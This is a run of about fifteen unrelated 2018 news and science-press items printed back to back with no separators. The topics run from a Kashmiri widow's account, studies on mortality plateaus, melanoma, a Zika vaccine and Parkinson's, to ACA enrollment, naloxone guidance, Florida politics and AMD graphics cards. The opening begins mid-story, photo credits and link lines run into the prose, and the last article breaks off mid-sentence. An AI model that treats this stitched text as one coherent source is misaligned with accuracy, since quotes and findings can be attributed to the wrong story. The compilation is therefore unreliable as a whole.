When he didnt return after an hour, I started looking for his and after two hours came to know that he has been killed by the army, said Saima, as tears swell her eyes. She told KNS that her husband never told her that situation was this bad in Kashmir. Nobody understands my language here. I am having Indonesian passport and I am not a Kashmiri citizen, she said. Saima now has decided to pack her bags to fly back to her home country. I came here with my husband. Now I wont live here. I will go back to my country. Army has killed my husband and now they will kill me too, she said. I have called my parents and they asked to return as soon as possible. Since I arrived here, I only saw cordon, cordon and cordon. Their highest level of fear they looms large on every face here. Late-life mortality plateaus are generated if symmetrical errors (coloured points) are seeded into error-free log-linear models (black line). Credit: Saul Justin Newman Human error, not human biology, largely accounts for the apparent decline of mortality among the very old, according to a new report publishing on December 20 in the open-access journal PLOS Biology by Saul Newman of Australia National University in Canberra. The result casts doubt on the hypothesis that human longevity can be greatly extended beyond current limits. As we age through adulthood, the probability of dying increases year after year. But studies in multiple species, including humans, have suggested that, at the far end of the lifespan, the rate of increase slows, or even plateaus. Biological explanations for such late-life mortality deceleration have been developed, but are controversial, and a role for statistical error has also been proposed. In the new report, Newman shows that a variety of errors, individually and combined, have the effect of producing a slowing of apparent mortality at the end of the lifespan, and can largely explain away the observed trends. Categories of error include those in demographic sampling, birth and death records, age reporting, and others. For instance, random errors in reporting of age within a population will result in some younger individuals being mistakenly recorded as older, and vice versa. As this population ages, older individuals mistakenly recorded as younger will die earlier than expected, but those mistakenly recorded as older will die later, enriching the pool of very old individuals and flattening the mortality curve. Newman found that an error rate of as low as one in ten thousand would be sufficient to produce the observed declines in apparent age-related mortality. Furthermore, he was able to show that an improvement in data quality in large population studies corresponded with a reduction in late-life mortality deceleration. "These findings suggest that human late-life mortality plateaus are largely, if not entirely, artefacts of error processes," Newman concludes. The finding has important consequences for understanding human longevity, since predictions that lifespan can be greatly increased have depended in part on the apparent decelerations and plateaus previously reported in the biological and demographic literature. In a separate short paper, Newman asked whether such errors might even explain away the late-life mortality plateau reported in a recent high-profile paper published in Science magazine earlier this year by Elisabetta Barbi, Kenneth Wachter and colleaguesthat paper used a high-quality dataset of nearly 4,000 death records from Italy to show that death rates decelerate after the age of 80 and plateau after 105. Newman calculates that this apparent effect could still be down to plausible error rates in record-keeping. In a response to this, Wachter defends the quality of their dataset, and describes Newman's proposed error rate as "wildly implausibly high." Newman does note that in at least one species, the fruit fly, an observed late-life mortality plateau does not seem to be due to error, and may require a biological explanation. "Discriminating between real and artefactual cases will require careful case-by-case analysis, and will constitute an ongoing challenge in the study of aging." Explore further Mortality rates rising for Gens X and Y too More information: Newman SJ (2018) Errors as a primary cause of late-life mortality deceleration and plateaus. PLoS Biol 16(12): e2006776. Journal information: PLoS Biology , Science Newman SJ (2018) Errors as a primary cause of late-life mortality deceleration and plateaus.16(12): e2006776. doi.org/10.1371/journal.pbio.2006776 A research team led by Noa Ofen, Ph.D. at Wayne State University is working to address a critical gap in our understanding of how maturation of the prefrontal cortex drives memory development through the use of electrocorticographic (ECoG) data recorded directly from the prefrontal cortex. Credit: Artwork by Julian Wong. Declarative memorymemories that can be consciously recalledis critical to everyday life. Throughout childhood and adolescence, declarative memory improves remarkably. However, until most recently, there was a critical gap in our understanding of how maturation of the prefrontal cortex drives memory development. A team of researchers led by Noa Ofen, Ph.D., associate professor of psychology in Wayne State University's College of Liberal Arts and Sciences and Institute of Gerontology, and Lisa Johnson, Ph.D., postdoctoral research scientist at the Helen Wills Neuroscience Institute, University of California-Berkeley, are addressing this critical gap through the use of electrocorticographic (ECoG) data recorded directly from the prefrontal cortex in a cohort of 17 children and adolescents. These ECoG recordings were obtained from patients with surgically implanted subdural electrodes used for the clinical management of seizures. "In our study, we used an established task employed in numerous studies aimed at investigating memory development in this age group," said Ofen. "It provided our team with rare insight previously not obtainable." The team followed a two-tier, unbiased approach to ECoG data analysis by which data were first analyzed per trial on the individual level using non-parametric statistics, and then modeled on the group level. "The high spatiotemporal precision of these recordings allowed us to provide a unique demonstration of how the developing prefrontal cortex drives the formation of memories of events in our own lives," said Johnson. "Our research shows that earlier activity predicts greater memory accuracy, and sub-second deviations in activity flow between frontal subregions predict memory formation." This study is the first to demonstrate that the spatiotemporal propagation of frontal activity supports memory formation in children as young as 6 years of age, and show how adjacent frontal subregions follow dissociable developmental trajectories. The full article, "Direct brain recordings reveal prefrontal cortex dynamics of memory development," is available online in the Dec. 19, 2018 issue of Science Advances. Explore further How the brain forgets on purpose More information: E.L. Johnson el al., "Direct brain recordings reveal prefrontal cortex dynamics of memory development," Science Advances (2018). Journal information: Science Advances E.L. Johnson el al., "Direct brain recordings reveal prefrontal cortex dynamics of memory development,"(2018). advances.sciencemag.org/content/4/12/eaat3702 Melanoma in skin biopsy with H&E stain this case may represent superficial spreading melanoma. Credit: Wikipedia/CC BY-SA 3.0 Doctors may be able to assess the survival rates of melanoma patients following the discovery of a molecule that allows the cancer to spread from the skin to other parts of the body. University of Queensland researchers hope that targeting this molecule may offer a way to stop the cancer from spreading. UQ Diamantina Institute's Professor Nikolas Haass said levels of the molecule, RAB27A, correlated to patient survival rates. "Patients with high levels of RAB27A in their melanoma cells have a lower survival rate," Professor Haass said. "So measuring RAB27A levels could become a new prognostic tool when assessing patients. "This would enable patients with a poorer prognosis to be treated more aggressively, sooner." Professor Haass said metastasis, the ability of melanoma to spread within the body, was what made it so deadly. "Melanoma cells with high RAB27A levels instruct other less aggressive cancer cells to spread to new areas of the body," he said. "It makes aggressive cancer cells produce exosomes, small vesicles that can carry material or information from one cell to another. "Other, initially less aggressive, cancer cells that are contacted by these vesicles then become more aggressive and are able to spread to other parts of the body." Professor Haass noted that making RAB27A a target for new therapeutic treatments was not straightforward. "It's often difficult to target molecules like this directly," he said. "But we've identified two binding partners of RAB27A. "By blocking these, the molecule would potentially be unable to produce the invasive exosomes and the ability of melanoma to spread could be inhibited. The study involved researchers from the University of Sydney and is published in the International Journal of Cancer (DOI: 10.1002/ijc.32064). Explore further Melanoma detection More information: Dajiang Guo et al. RAB27A promotes melanoma cell invasion and metastasis via regulation of pro-invasive exosomes, International Journal of Cancer (2018). Journal information: International Journal of Cancer Dajiang Guo et al. RAB27A promotes melanoma cell invasion and metastasis via regulation of pro-invasive exosomes,(2018). DOI: 10.1002/ijc.32064 Eric Weaver, assistant professor in the University of Nebraska-Lincoln School of Biological Sciences, and his graduate assistants, Brigette Corder (left) and Brianna Bullard. Credit: Craig Chandler | University of Nebraska-Lincoln University of Nebraska-Lincoln researchers may have identified a vaccine that would defend against Zika virus without producing antibodies. Researcher Eric Weaver described the finding as exciting and novel. He and his team are confident that future experiments will yield significant findings that could have profound impact on the field of vaccinology. Weaver is an assistant professor of biological sciences affiliated with the Nebraska Center for Virology. Many reports show that antibodies against Zika virus can worsen Dengue virus infection, which, like Zika, is caused by a mosquito-borne virus. This phenomenon is referred to as antibody-dependent enhancement (ADE) of disease. This has been an obstacle to the development of effective and safe Dengue virus vaccines. "If you have immunity to one of these viruses and get infected by a second one, the illness can be much worse," Weaver said. "The body makes the wrong immune response." Weaver's team, which includes doctoral students Brianna Bullard and Brigette Corder, have been studying potential Zika vaccines since 2016, shortly after a Zika outbreak in Brazil that was declared a global public health emergency by the World Health Organization. First discovered in Uganda's Zika Forest in 1947, the virus initially was believed to cause only mild or asymptomatic infection in humans. However, outbreaks in Brazil in 2015 and 2016 resulted in higher than historical rates of congenital birth defects in babies born to infected mothers and an increase in the neurological disorder Guillain-Barre syndrome in adults. In 2016, between 500,000 to 1.5 million suspected cases of Zika infection were reported worldwide, with 4,300 related cases of microcephaly, or abnormally small heads, in infants. Bullard, then an undergraduate student at Truman State University, came to Nebraska in 2016 for an undergraduate summer research experience in virology (USERV) and returned to Nebraska as a graduate student because of her interest in fighting Zika. Bullard, who is from St. Louis, developed a genetically altered version of Adenovirus while working with Weaver as an undergraduatethough she didn't have enough time to test it before her summer program came to an end. She was eager to return to the project after she graduated from Truman State in December 2016. "I'm interested in viruses in general and I want to do research in an applied, translational setting," she said. "I'm most excited about making vaccines that can help people. We're working on Zika right now, but we also have projects relating to influenza." In a study reported in December in Scientific Reports, the Nebraska scientists used two forms of attenuated Adenovirus to serve as vectors to deliver the Zika vaccine. Adenoviruses, which typically cause mild illness such as the common cold, are modified so that they are replication-defective and incapable of causing disease. The modified, or attenuated viruses, are regarded as safe and highly effective vaccine vectors capable of inducing long-lasting protective immune responses against infectious pathogens. They inserted the prM-E structural genes of Zika into key areas of Adenovirus Type 4 and Adenovirus Type 5 genomes. Tested in mice, both vaccines offered strong T-cell responses and substantial protection against Zika infection. However, the vaccine based on Type 4 Adenovirus induced strong T-cell responses with undetectable antibodies. T cells are a type of white blood cell that are at the core of the system that tailors the body's adaptive immune response to specific pathogens. "To our knowledge, this is the first report of a vaccine that uses the prM-E genes of Zika virus to induce protective immunity without inducing anti-Zika virus antibodies," Weaver said. "The lack of antibodies may very well circumvent the potential risks of ADE resulting in an effective and safer vaccine than those currently in clinical trials." Weaver said more studies are needed in order to determine why one virus vector had different results than the other. "We hope that we can produce a safer vaccine," he said. "If we can figure out the mechanism, we might be able to apply it to other vaccine strategies." Explore further A versatile vaccine that can protect mice from emerging tick-borne viruses More information: Brianna L. Bullard et al, Efficacy of a T Cell-Biased Adenovirus Vector as a Zika Virus Vaccine, Scientific Reports (2018). Journal information: Scientific Reports Brianna L. Bullard et al, Efficacy of a T Cell-Biased Adenovirus Vector as a Zika Virus Vaccine,(2018). DOI: 10.1038/s41598-018-35755-z Sen. Ron Wyden, D-Ore., left, and Sen. Patty Murray, D-Ore., wait for Sen. Joe Manchin, D-W.Va., before a news conference to press Congress to intervene on behalf of the Affordable Care Act, after a federal judge in Texas ruled it unconstitutional, on Capitol Hill in Washington, Wednesday, Dec. 19, 2018. (AP Photo/J. Scott Applewhite) The Affordable Care Act has yet again beaten predictions of its downfall, as government figures released Wednesday showed unexpectedly solid sign-ups for coverage next year. The Centers for Medicare and Medicaid Services said nearly 8.5 million people had enrolled as of last Saturday's deadline, with about a dozen states still left to report. Though the final count won't be known for a few months, it will be higher. Wednesday's number was about 4 percent below a comparable statistic from the same time last year. Earlier progress reports from the government had pointed to a potential enrollment decline of more than 10 percent. The Trump administration has sharply scaled back promotional advertising and taken a number of other actions that unsettled the health law's insurance markets. And last Friday, a Republican-appointed federal judge in Texas ruled the whole law unconstitutional. Not included in the latest figures for 39 states using HealthCare.gov are totals from about a dozen states running their own enrollment efforts. Also to be added in are HealthCare.gov customers who signed up close to deadline, or left phone numbers for a callback. Experts said the numbers show staying power for the health law, despite continuing political problems and high premiums that put coverage out of reach for people who make too much money to qualify for subsidized premiums. "Despite everything that has been thrown at this market, politically, with premium increases and also regulation changes, there is still a core group of Americans who want this insurance and buy this insurance every year," said Chris Sloan of the consulting firm Avalere Health. "They are a hardy group of people." In a twist, the Trump administration said the enrollment numbers refute charges of "sabotage" coming from Democrats. CMS Administrator Seema Verma said the administration has taken strong steps to run a smooth and efficient sign-up process and Wednesday's numbers are "another sign that the administration's efforts are working." Verma said HealthCare.gov was down for less than an hour this open enrollment season. The Republican-led Congress repealed the health law's requirement that most Americans get health insurance or risk fines from the IRS, a move that many experts predicted would lead to a drop in enrollment next year. But Verma said that doesn't seem to have happened. She said the main reason enrollment has continued to decline is because premiums are still unaffordable for people who don't qualify for financial help. Nearly 11.8 million people signed up during last year's open enrollment season, counting consumers in all 50 states. The health law provides subsidized private insurance for people who don't have coverage through their jobs. It also gives states the option to expand their Medicaid programs to cover more low-income adults. Since it passed in 2010, about 20 million people have gained coverage, keeping the nation's uninsured rate under 10 percent. Explore further Health law sign-ups lagging as Saturday deadline is looming 2018 The Associated Press. All rights reserved. Mr Jonathan Bernardini and Associate Professor Grant Dewson. Credit: The Walter and Eliza Hall Institute Australian researchers have discovered how a protein linked to Parkinson's disease may protect cells such as neurons in the brain. The study revealed how a protein called Parkinwhich is lost in certain forms of Parkinson's disease - 'buys time' for cells to repair internal damage that may otherwise kill them. The discovery could underpin the development of new therapies that slow the progression of Parkinson's disease by saving cells that would otherwise die. The research, led by Mr Jonathan Bernardini and Associate Professor Grant Dewson, was published in The EMBO Journal. Protecting against Parkinson's: More than 80,000 Australians are living with Parkinson's disease, a neurodegenerative condition characterised by the death of neurons and inflammation in the brain. Mr Bernardini, a Ph.D. student at the Institute, said the protein Parkin had been implicated in the development of Parkinson's disease. "Parkin is absent or faulty in half the cases of early onset Parkinson's disease, as well as in some other, sporadic cases. "In a healthy brain, Parkin helps keep cells alive, and decreases the risk of harmful inflammation by repairing damage to mitochondria, which are responsible for supplying energy to cells.," Mr Bernardini said. Mr Bernardini said damaged mitochondria could trigger the cell's internal death machinery, which removed unwanted cells by a cell death process termed 'apoptosis'. Associate Professor Grant Dewson and Mr Jonathan Bernardini. Credit: The Walter and Eliza Hall Institute "We discovered that Parkin blocks cell death by inhibiting a protein called BAK. "BAK and a related protein called BAX are activated in response to cell damage, and begin the process of destroying the cellby dismantling mitochondria. This ultimately drives the cell to die, but low-level mitochondrial damage has the potential to trigger inflammationwarning nearby cells that there is potential danger," Mr Bernardini said. Buying time for repair: The team showed that Parkin restrains BAK's activity when mitochondria are damaged. Parkin tags BAK with a tiny protein called Ubiquitin. Associate Professor Dewson said Ubiquitin was a 'go slow' signal for BAK. "With normal Parkin, BAK is tagged and cell death is delayed. Parkin 'buys time' for the cell, allowing the cell's innate repair mechanisms to respond to the damage," he said. "Without Parkinor with faulty variants of Parkin that are found in patients with early-onset Parkinson's diseaseBAK is not tagged and excessive cell death can occur. This unrestrained cell death may contribute to the neuronal loss in Parkinson's disease. By understanding how cell death and inflammation occur in Parkinson's disease, the researchers hope new therapies may be developed that could slow the progression of the disease. "Drugs that can stifle BAK, mimicking the effect of Parkin, may have the potential to reduce harmful cell death in the brain," Associate Professor Dewson said. Explore further Toward a better understanding of Parkinson's disease Nurses rush a child to the cardiac intensive care unit at Children's National Health System. Credit: Children's National Health System Can pyruvate, the end product of glycolysis, help improve cardiovascular function in children who have cardiopulmonary bypass surgery and suffer from low cardiac output syndrome (LCOS)? This question is one that Rafael Jaimes, Ph.D., a staff scientist at Children's National Heart Institute, a division of Children's National Health System, is studying, thanks to a two-year grant from the American Heart Association. The competitive grant awards Dr. Jaimes with $110,000 to study how pyruvate may help improve cardiac output among pediatric patients with LCOS. The compound aims to stimulate metabolic function, now treated by inotropic agents, such as dobutamine and milrinone. These agents ensure optimal delivery of oxygen from the heart to the brain, as well as to other organs in the body, following heart surgery. While these agents help patients with cardiac dysfunction, there is still a critical need for safe and effective therapies. "If there's any detriment in cardiac output, the heart's function begins to degrade," explains Dr. Jaimes. "You see a downward spiral effect with reduced cardiac output because the heart is dependent on its own perfusion. It needs to pump blood throughout the body to survive." This is where the pyruvate study, and the grant, will be applied: Can pyruvate target the essential muscle of the heart and reverse this cardiac destabilizationand as soon as possible? "By increasing the metabolic output of the heart's local muscle, cardiac output increases," Dr. Jaimes explains. "That's going to lead to better recovery." Better recovery could be measured by how fast a child recovers from heart surgery as well as how much time they spend in the hospital, clinically referred to as throughput. A faster recovery could also influence a child's quality of life and reduce overall health care costs. Based on preliminary data that shows pyruvate improves cardiac function in experimental models after ischemic insult, which is what happens when pediatric patients undergo cardiac surgery, Dr. Jaimes believes the results will likely replicate themselves in his preclinical models. To start, he'll test pyruvate using 100 blood samples and discarded tissue from patients. The blood samples will be tested for metabolic markers, including measured pyruvate levels. Part of what encouraged Dr. Jaimes to study how this compound could complement or replace standard therapies was the encouragement he received from his mentors in the field. "Nobody has looked into using pyruvate for almost 30 years," says Dr. Jaimes. "It's not commercially favorable, there's no patent on it, it doesn't have a lot of marketability and there are no financial incentives, so it's been put aside." As part of a discussion with cardiologists at a medical conference in Washington, Dr. Jaimes brought up the idea of using pyruvate for pediatric heart surgeries and received positive feedback. "Once everyone's eyes lit up, I knew I was on to something," says Dr. Jaimes about the encouragement he received to pursue this study. "You put lactate and glucose in your IV solutions," adds Dr. Jaimes. "Pyruvate is an essential nutrient. It's almost an essential sugar so there's no reason not to put it in. If these cardiologists are intrigued by the project, maybe the American Heart Association will be, too." In addition to funding the study, which could support future research about how metabolic makers in the blood can be stimulated to fast-track recovery following heart surgery, the American Heart Association grant is specific to pediatric health outcomes. "The current state of pharmaceutical treatment for patients recovering from cardiac surgery is designed and created for adults," says Dr. Jaimes. "From our research in pediatrics, we know that children aren't small adults." Dr. Jaimes explains that children are different on an anatomical and physiological level. Their cells even look and function different, compared to adult cells, because they haven't matured yet. While congenital heart defects are rare, they affect 1 percent, or 40,000 births worldwide, they often require multiple surgeries throughout a child's lifespan. LCOS impacts 25 percent of patients following cardiopulmonary bypass and the timing of treatment is important. In severe cases, insufficient cardiac output following surgery could impact a child's long-term development, ranging from reasoning, learning, attention and executive function, to developing age-appropriate language and social skills. "The metabolic insufficiencies I'm looking at, which may help improve the muscle function of the heart, are just one piece of a bigger puzzle in pediatric cardiology," notes Dr. Jaimes about ongoing research at Children's National Heart Institute. "We already know pyruvate is safe. We just have to see if it's effective in supporting a patient's recovery in the intensive care unit." Dr. Jaimes will work with his research mentor Nikki Posnack, Ph.D., assistant professor at the Children's National Heart Institute, on this preclinical study throughout the grant's lifecycle, which starts in early January 2019 and ends in late December 2020. Explore further Drug could reduce serious complication in cardiac bypass patients Credit: CC0 Public Domain Dear Mayo Clinic: I've read that there will be new options for getting the flu vaccine this year, including one for people who have egg allergies. How are these new vaccines different, and how do I know which one to pick? How do researchers know they will be safe? A: You're right. Several new vaccine options will be offered to help protect you against influenza, or the flu. Rather than just two options, you now will have a range of vaccines from which to choose. At first having so many choices may be confusing. But by doing a little research and having a conversation with your health care provider, you will be able to decide which one is best for your situation. As always, each of the new vaccines has gone through rigorous safety testing before being made available to the public. Influenza is a respiratory infection that can lead to serious complications, particularly in young children and older adults. Getting the flu vaccine is the most effective way to prevent influenza and its complications. The Centers for Disease Control and Prevention recommends that everyone 6 months of age or older be vaccinated against influenza every year. Until this year, you only had two options when it came to picking the kind of flu vaccine you wanted: a shot or a nasal mist. The shot contains an inactivated vaccine made of killed virus. The nasal mist has a low dose of livebut weakenedflu virus. Both options included three strains of influenza virus. With the new vaccines, the two delivery options of a shot or a nasal mist stay the same, but now you will have more choices if you decide to get the vaccine as a shot. Shot options include the standard vaccine with three strains of flu virus, a new four-strain vaccine, two egg-free options, a high-dose flu shot and a shot into the skin instead of beneath the skin. In the past, both the shot and the nasal mist option contained three strains of influenza virus. This year, however, one of the shots will include four strains of flu virus. The nasal mist option has been changed to include four strains of influenza virus as well. Additionally, two new flu vaccine choicesboth in shot formwill be made without any egg proteins in them. That makes them safe for anyone with an egg allergy. A high-dose shot also will be offered. This flu vaccine contains four times the usual dose. It is particularly well suited to older adults because it can help boost their immune system response to the flu, so they are better protected from the illness. Finally, individuals who need the shot form of the vaccine but who fear needles will be able to choose to have the vaccine delivered by a "micro-needle." The tiny needle delivers the vaccine into the skin, rather than into the arm muscle as is done with the traditional shot using a larger needle. As with all vaccines in the United States, each of these new flu vaccines had to pass very strict safety measures before the Food and Drug Administration allowed them to be licensed and marketed in the U.S. Typically, vaccines are tested in about 10,000 to 40,000 people before they become widely available. It is possible for very rare side effects to surface as more and more people use the vaccines. But in the thousands of individuals who have received these vaccines so far, the safety records are the same as the current flu vaccines. The choices available to you this year with the flu vaccine are examples of medicine becoming more personalized. It's certainly a change from the one-size-fits-all approach used with the flu vaccine in the past. This means you will probably need to sort through the options and talk with your health care provider about what's right for you. But in the long run, it will be a better fit for each person, depending on their needs, and ultimately will help lead to better health overall. Explore further Mayo Clinic expert explains new vaccine options for next influenza season 2018 Mayo Foundation for Medical Education and Research Distributed by Tribune Content Agency, LLC. Scientists have taken a key step towards improving an emerging class of treatments for Parkinson's disease. The advance could markedly improve a next generation of therapies for the condition, which affects around one in 350 people in the UK. It could aid development of the promising treatmentknown as cell replacement therapywhich was first used in a clinical trial this year. Experts hope the approach, which involves transplanting healthy cells into parts of the brain damaged by Parkinson's, could alleviate symptoms such as tremor and balance problems. The latest development addresses limitations in the treatment in which, over time, transplanted tissue can acquire signs of disease from nearby cells. Researchers at the University of Edinburgh have created stem cellswhich have the ability to transform into any cell typethat are resistant to developing Parkinson's. They snipped out sections of DNA from human cells in the lab using advanced technology known as CRISPR. In doing so, they removed a gene linked to the formation of toxic clumps, known as Lewy bodies, which are typical of Parkinson's brain cells. In lab tests, the stem cells were transformed into brain cells that produce dopaminea key brain chemical that is lost in Parkinson'sin a dish. The cells were then treated with a chemical agent to induce Lewy bodies. Cells that had been gene-edited did not form the toxic clumps, compared with unedited cells, which developed signs of Parkinson's. Researchers say the advance could be most beneficial to younger patients living with Parkinson's and those with an aggressive form of the condition, but that the advance had to be tested in human trials. The study, published in the European Journal of Neuroscience, was funded by the UK Centre for Mammalian Synthetic Biology, the pharmaceutical company UCB Biopharma and The Cure Parkinson's Trust. Dr. Tilo Kunath of the Medical Research Council's Centre for Regenerative Medicine at the University of Edinburgh, who led the study, said: "We know that Parkinson's disease spreads from neuron-neuron, invading healthy cells. This could essentially put a shelf life on the potential of cell replacement therapy. Our exciting discovery has the potential to considerably improve these emerging treatments." Dr. Simon Stott, Deputy Director of Research for the Cure Parkinson's Trust said, "Cell replacement therapy represents one experimental approach to regenerative medicine for people with Parkinson's. This new research by Dr. Tilo Kunath and his team at the University of Edinburgh provides another advancement in the development of this treatment. The Cure Parkinson's Trust is thrilled to be associated with this inspiring and innovative research" Explore further Experimental cancer drug shows promise for Parkinson's More information: Yixi Chen et al, Engineering synucleinopathy-resistant human dopaminergic neurons by CRISPR-mediated deletion of the SNCA gene, European Journal of Neuroscience (2018). Journal information: European Journal of Neuroscience Yixi Chen et al, Engineering synucleinopathy-resistant human dopaminergic neurons by CRISPR-mediated deletion of the SNCA gene,(2018). DOI: 10.1111/ejn.14286 In this Tuesday, July 3, 2018 file photo, a Narcan nasal device which delivers naloxone lies on a counter as a health educator gives instructions on how to administer it in the Brooklyn borough of New York. On Wednesday, Dec. 19, 2018, the U.S. government told doctors to consider prescribing the overdose antidote naloxone to many more patients who take opioid painkillers. (AP Photo/Mary Altaffer) The U.S. government told doctors Wednesday to consider prescribing medications that reverse overdoses to many more patients who take opioid painkillers in a move that could add more than $1 billion in health care costs. Assistant Secretary for Health Brett Giroir, a doctor appointed by President Donald Trump, announced the guidance, saying it's important for doctors to discuss overdose dangers with patients. Prescribing naloxone such as Narcan along with opioids forces a conversation that will lead to "a more informed decision by the patient," he said. The action comes a day after a close vote from a Food and Drug Administration expert panel endorsing the idea of rewriting opioid drug labels to include a naloxone recommendation for many or all patients. An FDA document said such a move could add more than $1 billion in health care costs. "Even at a billion, it would be an investment that is well worth it," Giroir said. More than 47,600 Americans died of opioid overdoses last year, a toll that has been rising for two decades. The street drug fentanyl is the top killer today, but prescription painkillers are still a problem, contributing to nearly 15,000 overdose deaths last year. Naloxone comes in a nasal spray, an injection and an automatic injector. The Narcan nasal spray costs about $125 for a two-dose kit, although government programs can get it for less. The automatic injector can cost as much as $4,000 per kit, although its maker recently authorized a cheaper generic version. Critics said prescribing the antidote to pain patients does not address the growing share of fatal overdoses caused by illicit opioids, and could cause shortages for programs that hand out the kits to street drug users. It "will have the unintended consequence of derailing efforts to provide naloxone to the very effective community programs we know are successful in saving lives," said Dr. Raeford E. Brown Jr., who heads an expert panel advising the FDA. The new guidance tells doctors to consider prescribing the antidote to patients on high doses of opioids, heavy drinkers, people with sleep apnea and other breathing problems, people taking benzodiazepines such as Xanax and people with addiction or mental health problems. It expands upon a similar recommendation from the Centers for Disease Control and Prevention. In April, U.S. Surgeon General Jerome Adams issued the office's first national public health advisory in 13 years, calling on more Americans to start carrying naloxone and urging more federal money to be dedicated to broadening access. Most states allow people to get naloxone from a pharmacy or community program under a statewide prescription and some states require doctors to also prescribe naloxone to patients on high doses of opioids. The FDA is working toward an over-the-counter version of naloxone. Brown said the government should use its emergency authority to buy and distribute large quantities of naloxone and immediately make it available over the counter. Trump directed the health agency to declare the opioid crisis a public health emergency last year. "That's the difference between declaring a public health emergency and actually acting as if there's a public health emergency," Brown said. Explore further US surgeon general urges Americans to carry opioid antidote 2018 The Associated Press. All rights reserved. Islamabad: Prime Minister of Pakistan Imran Khan on Thursday telephoned United Nations Secretary General Antonio Guterres to express his deep shock and concern at the grave human rights violations committed by Indian security forces in occupied Kashmir, a statement issued by his office said. The premier during the conversation underscored [the] UNs role to end these violations, the statement added. Imran Khan is in deep shock and concern over the recent killings in Kashmir. Khans call to the UN chief comes days after he strongly condemned the killings of innocent civilians at the hands of Indian security forces in Indian occupied Kashmirs Pulwama area. Kashmiris must be allowed to decide their future, the prime minister had said in a tweet, vowing that his government will raise the issue of Indians human rights violations in occupied Kashmir and demand that the UN Security Council fulfil its J&K plebiscite commitment. Article continues after ad At least seven civilians were killed and over three dozen injured when Indian forces fired at protesters in Pulwama over the weekend. Residents had accused troops of directly spraying gunfire into the crowds. At least seven civilians were killed and over three dozen injured when Indian forces fired at protesters in Pulwama over the weekend. Saturdays shooting ignited fresh anger across the region that has witnessed its bloodiest year since 2009 and increasingly violent public opposition to Indian rule. Popular support for the Kashmiris fighting for independence or a merger with Pakistan has grown in recent years and villagers, sometimes in their thousands, swarm the sites of gun battles with government forces to assist fighters. The weekend violence also saw three fighters and an Indian soldier killed in a shootout. Source: DAWN Governor-elect Ron DeSantis' transition committee on education met Wednesday to discuss how the state could begin to implement his campaign proposal that 80 percent of all education funding be directed "into the classroom." The short answer: it's not going to be simple. Many committee members said the first step is to define what "classroom spending" would actually include. "While we've made great progress in the state and much of our intent has been very noble, we've missed the mark oftentimes in the execution phase in how we define, and I'm using air quotes, 'instruction' and 'classroom' ... to make sure we dont devalue things like school security, the arts, etc.," said Desmond Blackburn, the CEO of a national nonprofit called New Teacher Center and a former Brevard County superintendent. "It seems to me we could have much more productive conversation about ... how to improve instructional efforts in our schools if we had a more uniform way of evaluating the way that money is being spent," added Rick Stevens, managing director of the Florida Citizens Alliance, an educational advocacy group. READ MORE: Ron DeSantis says Florida public schools are wasting money. Are they? Andy Tuck, who is the vice chairman of the State Board of Education and hails from Highlands County in Central Florida, suggested that rural counties could combine administrative resources to eliminate the need for some positions, since the total student population of six rural districts might equal one urban district anyway. "We've got to have bus drivers, food service people I'm not saying we're totally top heavy but there are some thing we could look at privatizing to save some money or cooperating to achieve that number," Tuck said. He said he was "thrilled" with DeSantis' proposal of 80 percent of expenditures going to the classroom, "but that being said ... it's going to be a pretty tough goal to meet." The 44-member committee, which met by phone and was open to the public via a dial-in number, also discussed the issue of teacher pay, and how it can be changed to mitigate Florida's teacher shortage. Many on the committee were on board with the current system of performance-based bonuses for teachers, though several members wrangled with the many different factors that should be included in measuring how effective a teacher truly is. Others said teachers should be rewarded with more professional development, like getting help to go back to school and earn a master's degree. "With the VAM scores (model for teacher evaluations), youll see across the board that some teachers that think it's unfair and doesn't work and others who think it's critical to assessing them fairly but I think it's worth looking at again," said Connie Milito, a lobbyist for Hillsborough County Public Schools. She also said Florida should reconsider returning to national board certification as an incentive. The state used to subsidize teachers' applications to the national board as well as give them bonuses for having that certification, but that was eliminated in recent years. But a few members also advocated for a general rise in the base pay, saying it was crucial to keeping Florida competitive with other states perhaps a signal that the familiar debate over teacher bonuses vs. raises may continue this year. "We just have to figure out a way so the masses of educators feel they start every day out with fair and appropriate compensation before we figure out what a bonus structure looks like linked to performance," Blackburn said. The final issue of the meeting was the revelations earlier this year that the University of Central Florida misused state funds that were supposed to be spent on operating expenses, instead directing them to constructing a new $38 million building. "It's imperative we look at what UCF did ... to make sure they rectify it, obviously it is an embarrassment that it did happen but he need to move forward without affecting students or the educational experience at UCF," said state Rep. Bob Cortes, R-Altamonte Springs. There is an ongoing review of university spending on construction, according to staff on the call. The U.S. Supreme Court | Ricky Carioti, Washington Post Governor-elect Ron DeSantis' transition team announced their latest hire to the new administration on Wednesday: Joe Jacquot, a former Florida chief deputy attorney general, who will be working as chief legal advisor to the office of the general counsel. That means he'll be providing DeSantis and the cabinet with legal advice and likely representing him if DeSantis is sued in his official capacity. Jacquot played a major role in Florida's first suit (along with 25 other states) against the Affordable Care Act, also known as "Obamacare," and is listed high-up as a special counsel to Attorney General Pam Bondi on legal documents from 2011. According to a 2012 story by the New York Times, Jacquot helped then-state Attorney General Bill McCollum complete the crucial, early research in 2011 to initiate the lawsuit deciding that it would be based on a challenge to the individual mandate, and that it should be filed through the Federal District Court in Pensacola. That suit was eventually heard by the the U.S. Supreme Court in 2012, which upheld Obamacare for the time being. Just Friday, a federal judge in Texas struck down the entire Affordable Care Act, saying the law's mandate requiring people to buy health insurance is unconstitutional. That was a different lawsuit, filed by 20 states earlier this year. During his career, Jacquot has also served as the Deputy Chief Counsel of the U.S. Senate Judiciary Committee, including managing two Supreme Court confirmations, according to the transition team's announcement. RELATED: Obamacare critics Rubio, DeSantis and Scott mum on what can replace imperiled health care law Times Tallahassee bureau reporter Lawrence Mower contributed. 30,000 quake-hit families in Dolakha still homeless Bal Bahadur Thami, a 75-year-old earthquake victim of Bigu-8 in Dolakha district, was charred to death when the tarpaulin tent he was staying in caught fire on Monday night. AMD recently launched a new, high-end GPU in its Radeon RX 500 series product line-up the Radeon RX 590. This card is set to compete with Nvidias high-end GTX 10 Series GPUs, including the popular GeForce GTX 1060 6GB graphics card. The Radeon RX 590 like other Radeon RX 500 cards is built on AMDs advanced Polaris architecture which is based on a 12nm manufacturing process. It is the most powerful Radeon RX 500 Series graphics card launched by AMD, superseded only by the manufacturers Radeon RX Vega GPUs. The RX 590 is more powerful than both the Radeon RX 570 and RX 580, but it is also more expensive. To help buyers determine which of these three popular graphics cards to purchase, we have compared their specifications, performance, and South African pricing below. Hardware and Pricing Both the AMD Radeon RX 590 and RX 580 boast 8GB of GDDR5 memory and the same amount of stream processors, with the more powerful card having a substantially higher clock speed 